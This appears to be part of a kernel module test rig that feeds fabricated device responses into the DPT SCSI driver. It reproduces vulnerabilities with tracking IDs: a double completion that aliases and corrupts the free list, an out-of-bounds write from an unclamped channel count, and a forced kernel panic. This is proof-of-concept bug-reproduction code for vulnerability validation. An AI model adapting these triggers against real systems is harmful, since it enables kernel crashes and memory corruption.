	if (cmd == RIGIOC_CHAN8 || cmd == RIGIOC_FULLINIT) {
		/* DF-4240 paths build their own softc; no priming needed
		 * beyond a_dptallocccbs which chan8 setup uses */
		if (cmd == RIGIOC_CHAN8 && a_dptallocccbs == 0) {
			kprintf("[dptrig] addresses not primed\n");
			return (ENXIO);
		}
	} else {
		if (dpt == NULL) {
			error = rig_setup();
			if (error)
				return (error);
		}
	}

	switch (cmd) {
	case RIGIOC_QUEUE:
	{
		st = (struct rig_state *)data;
		int id;

		id = rig_queue_one(st->in_timeout ? st->in_timeout : 60000);
		if (id < 0)
			return (ENOMEM);
		bzero(st, sizeof(*st));
		rig_capture(st, (uint32_t)id);
		break;
	}
	case RIGIOC_SNAP:
	{
		st = (struct rig_state *)data;
		lockmgr(&rig_lock, LK_EXCLUSIVE);
		rig_capture(st, st->ccb_id);
		lockmgr(&rig_lock, LK_RELEASE);
		break;
	}
	case RIGIOC_INTR:
	{
		st = (struct rig_state *)data;
		dpt_ccb_t *target;
		uint32_t busaddr, ia_ccb, ia_eoc, ia_hba, ia_scsi, ia_serr,
		    ia_dpth;

		ia_ccb = st->ccb_id;
		ia_eoc = st->in_eoc;
		ia_hba = st->in_hba;
		ia_scsi = st->in_scsi;
		ia_serr = st->in_serr;
		ia_dpth = st->in_dpth;

		if (ia_ccb >= (uint32_t)ncctx ||
		    cctx[ia_ccb].dccb == NULL)
			return (EINVAL);
		target = cctx[ia_ccb].dccb;
		busaddr = cctx[ia_ccb].dccb_busaddr;

		/* the host adapter DMA-writes the status packet */
		dpt->sp->hba_stat = ia_hba & 0x7f;
		dpt->sp->EOC = ia_eoc & 1;
		dpt->sp->scsi_stat = ia_scsi;
		dpt->sp->residue_len = 0;
		dpt->sp->ccb_busaddr = busaddr;
		if (ia_serr)
			regpage[HA_RSTATUS] = HA_SERROR;
		else
			regpage[HA_RSTATUS] = 0;
		if (ia_dpth) {
			regpage[2] = 'D'; regpage[3] = 'P';
			regpage[4] = 'T'; regpage[5] = 'H';
		}
		kprintf("[dptrig] INTR: firmware completes dccb=%p "
		    "busaddr=0x%08x eoc=%u hba=%u scsi=%u%s%s -> "
		    "production dpt_intr()\n", target, busaddr,
		    ia_eoc, ia_hba, ia_scsi,
		    ia_serr ? " SERROR" : "",
		    ia_dpth ? " 'DPTH'" : "");
		lockmgr(&rig_lock, LK_EXCLUSIVE);
		dpt_intr(dpt);	/* PRODUCTION */
		/* capture while still holding the lock: the CAM SWI
		 * (camisr_runqueue) needs this lock, so the double-xpt_done
		 * detonation cannot race our evidence capture */
		bzero(st, sizeof(*st));
		rig_capture(st, ia_ccb);
		kprintf("[dptrig] INTR post: dccb_state=%u free_head=0x%llx "
		    "selfloop=%u dups=%u walk=%u softc_ctr=%u pending=%u\n",
		    st->dccb_state,
		    (unsigned long long)st->free_head, st->free_selfloop,
		    st->free_dups, st->free_walk, st->free_softc_ctr,
		    st->pending_walk);
		lockmgr(&rig_lock, LK_RELEASE);
		kprintf("[dptrig] INTR returned\n");
		break;
	}
	case RIGIOC_DUPALIAS:
	{
		dpt_ccb_t *target;
		uint32_t busaddr;
		int id2, id3;

		st = (struct rig_state *)data;
		if (st->ccb_id >= (uint32_t)ncctx ||
		    cctx[st->ccb_id].dccb == NULL)
			return (EINVAL);
		target = cctx[st->ccb_id].dccb;
		busaddr = cctx[st->ccb_id].dccb_busaddr;

		/* the device delivers a DUPLICATE of the completion it
		 * already sent for this dccb */
		dpt->sp->hba_stat = HA_NO_ERROR;
		dpt->sp->EOC = 1;
		dpt->sp->scsi_stat = SCSI_STATUS_OK;
		dpt->sp->residue_len = 0;
		dpt->sp->ccb_busaddr = busaddr;
		regpage[HA_RSTATUS] = 0;

		kprintf("[dptrig] DUPALIAS: duplicate packet for dccb=%p "
		    "busaddr=0x%08x (already completed once) -> production "
		    "dpt_intr()\n", target, busaddr);
		lockmgr(&rig_lock, LK_EXCLUSIVE);
		dpt_intr(dpt);	/* PRODUCTION: double-completes dccb */

		bzero(st, sizeof(*st));
		rig_capture(st, st->ccb_id);
		kprintf("[dptrig] DUP post: free_head=0x%llx "
		    "second=0x%llx SELFLOOP=%u dups=%u walk=%u ctr=%u\n",
		    (unsigned long long)st->free_head,
		    (unsigned long long)st->free_second, st->free_selfloop,
		    st->free_dups, st->free_walk, st->free_softc_ctr);

		/* aliasing: two more XPT_SCSI_IOs through production
		 * dpt_action -- both dptgetccb pops must return the SAME
		 * (twice-inserted) dccb */
		id2 = rig_queue_one(60000);
		id3 = rig_queue_one(60000);
		st->ccb_kva = (uint64_t)(uintptr_t)
		    (id2 >= 0 ? cctx[id2].dccb : NULL);
		st->free_head = (uint64_t)(uintptr_t)
		    (id3 >= 0 ? cctx[id3].dccb : NULL);
		st->free_selfloop = (id2 >= 0 && id3 >= 0 &&
		    cctx[id2].dccb == cctx[id3].dccb);
		st->ccb_status = id2 >= 0 ? cctx[id2].ccb->ccb_h.status : 0;
		st->comp_count = id3 >= 0 ? cctx[id3].ccb->ccb_h.status : 0;
		kprintf("[dptrig] ALIAS: queue#%d dccb=%p queue#%d "
		    "dccb=%p SHARED=%u (two in-flight CCBs on ONE dccb)\n",
		    id2, id2 >= 0 ? cctx[id2].dccb : NULL, id3,
		    id3 >= 0 ? cctx[id3].dccb : NULL, st->free_selfloop);
		lockmgr(&rig_lock, LK_RELEASE);
		kprintf("[dptrig] DUPALIAS: lock released -- the second "
		    "xpt_done() already re-enqueued the completed CCB on "
		    "sim_doneq; camisr_runqueue() is expected to detonate "
		    "on the corrupt list now\n");
		break;
	}
	case RIGIOC_ALIAS:
	{
		int id2, id3;

		st = (struct rig_state *)data;
		id2 = rig_queue_one(60000);
		id3 = rig_queue_one(60000);
		if (id2 < 0 || id3 < 0)
			return (ENOMEM);
		bzero(st, sizeof(*st));
		st->ccb_id = (uint32_t)id2;
		st->ccb_kva = (uint64_t)(uintptr_t)cctx[id2].dccb;
		st->free_head = (uint64_t)(uintptr_t)cctx[id3].dccb;
		/* the two lines above ARE the evidence if equal */
		st->free_selfloop =
		    (cctx[id2].dccb != NULL &&
		     cctx[id2].dccb == cctx[id3].dccb);
		st->ccb_status = cctx[id2].ccb->ccb_h.status;
		st->comp_count = cctx[id3].ccb->ccb_h.status;
		kprintf("[dptrig] ALIAS: queue#%d dccb=%p queue#%d "
		    "dccb=%p SHARED=%u\n", id2, cctx[id2].dccb, id3,
		    cctx[id3].dccb, st->free_selfloop);
		break;
	}
	case RIGIOC_CHAN8:
	{
		struct rig_chan8_args *ca = (struct rig_chan8_args *)data;
		size_t scsz = sizeof(dpt_softc_t);
		size_t off_sims, off_paths, off_end;
		int i, k;
		uint64_t *slot;
		uint8_t *p;

		if (dpt2 != NULL) {
			/* allow repeat CHAN8 runs (fix-validation): each
			 * call fabricates a fresh softc; the old one is
			 * abandoned (test rig only) */
			kprintf("[dptrig] CHAN8: prior softc2 abandoned, "
			    "fabricating a fresh one\n");
		}
		if (regpage == NULL) {
			/* CHAN8-only boot: registers still needed, the
			 * probes dpt_attach triggers call
			 * dpt_send_eata_command on softc2 */
			regpage = kmalloc(PAGE_SIZE, M_DEVBUF,
			    M_INTWAIT | M_ZERO);
			regpage[HA_RAUXSTAT] = HA_AIRQ;
		}
		dpt2_buf = kmalloc(scsz + RIG_PAD, M_DEVBUF, M_INTWAIT);
		memset(dpt2_buf, 0xAA, scsz + RIG_PAD);	/* poison */
		bzero(dpt2_buf, scsz);
		dpt2 = (dpt_softc_t *)dpt2_buf;
		dpt2->tag = X86_64_BUS_SPACE_MEM;
		dpt2->bsh = (bus_space_handle_t)(uintptr_t)regpage;
		SLIST_INIT(&dpt2->free_dccb_list);
		LIST_INIT(&dpt2->pending_ccb_list);
		SLIST_INIT(&dpt2->sg_maps);
		if (rig_make_softc(dpt2, RIG_UNIT2, RIG_MAX_DCCBS) != 0)
			return (ENXIO);

		off_sims = offsetof(dpt_softc_t, sims);
		off_paths = offsetof(dpt_softc_t, paths);
		kprintf("[dptrig] CHAN8: softc2=%p sizeof=%zu "
		    "off(sims)=%zu off(paths)=%zu "
		    "(&sims[3]-&paths[0]=%zd bytes)\n", dpt2, scsz,
		    off_sims, off_paths,
		    (ssize_t)((uintptr_t)&dpt2->sims[3] -
			      (uintptr_t)&dpt2->paths[0]));

		/* canaries in the members the OOB stores will hit */
		ca->canary_cp_before = 0x41414141;
		ca->canary_li_before = 0x42424242;
		dpt2->commands_processed = 0x41414141;
		dpt2->lost_interrupts = 0x42424242;

		/* device-fed channel count: dpt_init computes
		 * channels = conf.MAX_CHAN + 1 (dpt_scsi.c:1313) with no
		 * clamp against MAX_CHANNELS (dpt.h:127) */
		dpt2->channels = ca->channels;
		kprintf("[dptrig] CHAN8: channels=%u (MAX_CHAN=%u) "
		    "max_dccbs=%u -> PRODUCTION dpt_attach()\n",
		    dpt2->channels, dpt2->channels - 1, dpt2->max_dccbs);

		cam_sim_lock(&sim_mplock);	/* dpt_attach takes sim_mplock sims */
		ca->attach_ret = (uint32_t)dpt_attach(dpt2);	/* PRODUCTION */
		cam_sim_unlock(&sim_mplock);

		ca->channels_after = dpt2->channels;
		ca->canary_cp_after = dpt2->commands_processed;
		ca->canary_li_after = dpt2->lost_interrupts;

		/* dump the 10 OOB store slots (values now resident) */
		for (i = 3; i < 8; i++) {
			slot = (uint64_t *)(void *)((uint8_t *)dpt2 +
			    off_sims + 8 * i);
			ca->oob_slot[i - 3] = *slot;		/* sims[i] */
			ca->member_off[i - 3] = off_sims + 8 * i;
			kprintf("[dptrig] CHAN8 OOB: &sims[%d] "
			    "(+%zu) = %p (cam_sim*)  [aliases %s]\n",
			    i, off_sims + 8 * i, (void *)(uintptr_t)*slot,
			    (off_sims + 8 * i) == off_paths ? "paths[0]" :
			    "paths[1..2]/beyond");
		}
		for (i = 3; i < 8; i++) {
			slot = (uint64_t *)(void *)((uint8_t *)dpt2 +
			    off_paths + 8 * i);
			ca->oob_slot[5 + (i - 3)] = *slot;	/* paths[i] */
			ca->member_off[5 + (i - 3)] = off_paths + 8 * i;
			kprintf("[dptrig] CHAN8 OOB: &paths[%d] "
			    "(+%zu) = %p (cam_path* written by "
			    "xpt_create_path)\n", i, off_paths + 8 * i,
			    (void *)(uintptr_t)*slot);
		}
		ca->path3_is_sim =
		    ((uint64_t)(uintptr_t)dpt2->paths[0] ==
		     ca->oob_slot[5 + 0]) ? 0 : 1;
		{
			uint64_t v = *(uint64_t *)(void *)
			    ((uint8_t *)dpt2 + off_paths);
			ca->path3_is_sim =
			    (v == ca->oob_slot[0]);	/* sims[3] value */
			kprintf("[dptrig] CHAN8: paths[0]=%p vs "
			    "sims[3]=%p -> paths[0] holds a SIM pointer: "
			    "%s\n", (void *)(uintptr_t)v,
			    (void *)(uintptr_t)ca->oob_slot[0],
			    ca->path3_is_sim ? "YES (type confusion)" :
			    "no");
		}

		/* count OOB stores that ran past the softc entirely */
		off_end = scsz & ~7;
		ca->runaway = 0;
		for (k = 0, p = dpt2_buf + off_end;
		    k < (int)(RIG_PAD - 64); k += 8, p += 8) {
			uint64_t v = *(uint64_t *)(void *)p;
			if (v != 0xAAAAAAAAAAAAAAAAull)
				ca->runaway++;
		}
		kprintf("[dptrig] CHAN8: attach_ret=%u channels "
		    "before=%u after=%u canary cp 0x%x->0x%x li "
		    "0x%x->0x%x runaway_stores_past_softc=%u\n",
		    ca->attach_ret, ca->channels, ca->channels_after,
		    ca->canary_cp_before, ca->canary_cp_after,
		    ca->canary_li_before, ca->canary_li_after,
		    ca->runaway);
		kprintf("[dptrig] CHAN8 NOTE: attach_ret>channels-1 means "
		    "the loop-bound field itself was corrupted mid-loop "
		    "(feedback runaway)\n");
		break;
	}
	case RIGIOC_PANIC:
	{
		/* DF-4242: device-fed HA_SERROR + 'DPTH' signature ->
		 * production dpt_intr panics.  No in-flight ccb is even
		 * needed: the panic happens before ccb is touched. */
		struct rig_panic_args *pa = (struct rig_panic_args *)data;
		uint32_t busaddr = dpt->dpt_ccb_busbase;

		if (pa->ccb_id < (uint32_t)ncctx &&
		    cctx[pa->ccb_id].dccb != NULL)
			busaddr = cctx[pa->ccb_id].dccb_busaddr;

		dpt->sp->hba_stat = HA_NO_ERROR;
		dpt->sp->EOC = 1;
		dpt->sp->scsi_stat = SCSI_STATUS_OK;
		dpt->sp->residue_len = 0;
		dpt->sp->ccb_busaddr = busaddr;
		regpage[2] = 'D'; regpage[3] = 'P';
		regpage[4] = 'T'; regpage[5] = 'H';
		regpage[HA_RSTATUS] = HA_SERROR;
		kprintf("[dptrig] PANIC: registers spell 'DPTH' + "
		    "HA_SERROR, sp in range -> production dpt_intr() "
		    "MUST panic(\"DPT Rebooted\")\n");
		regpage[HA_RAUXSTAT] = HA_AIRQ;
		dpt_intr(dpt);	/* PRODUCTION -- not expected to return */
		kprintf("[dptrig] PANIC: dpt_intr RETURNED (unexpected!)\n");
		break;
	}
	case RIGIOC_FULLINIT:
	{
		struct rig_chan8_args *ca = (struct rig_chan8_args *)data;

		return (rig_fullinit(ca));
	}
	default:
		return (ENOTTY);
	}
	return (0);
}

/* ------------------------------------------------------------------ */
/* module boilerplate                                                  */
/* ------------------------------------------------------------------ */
static int
dfdpt_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		rig_cdev = make_dev(&rig_ops, 0, UID_ROOT, GID_WHEEL,
		    0600, "dfdpt%d", 0);
		kprintf("[dptrig] dfdpt rig loaded (prime kern.dfdpt_a_* "
		    "then open /dev/dfdpt0)\n");
		return (0);
	case MOD_UNLOAD:
		if (dpt != NULL || dpt2 != NULL) {
			kprintf("[dptrig] refusing unload while rig is set "
			    "up (reboot instead)\n");
			return (EBUSY);
		}
		if (rig_cdev != NULL)
			destroy_dev(rig_cdev);
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

DEV_MODULE(dfdpt_rig, dfdpt_modevent, NULL);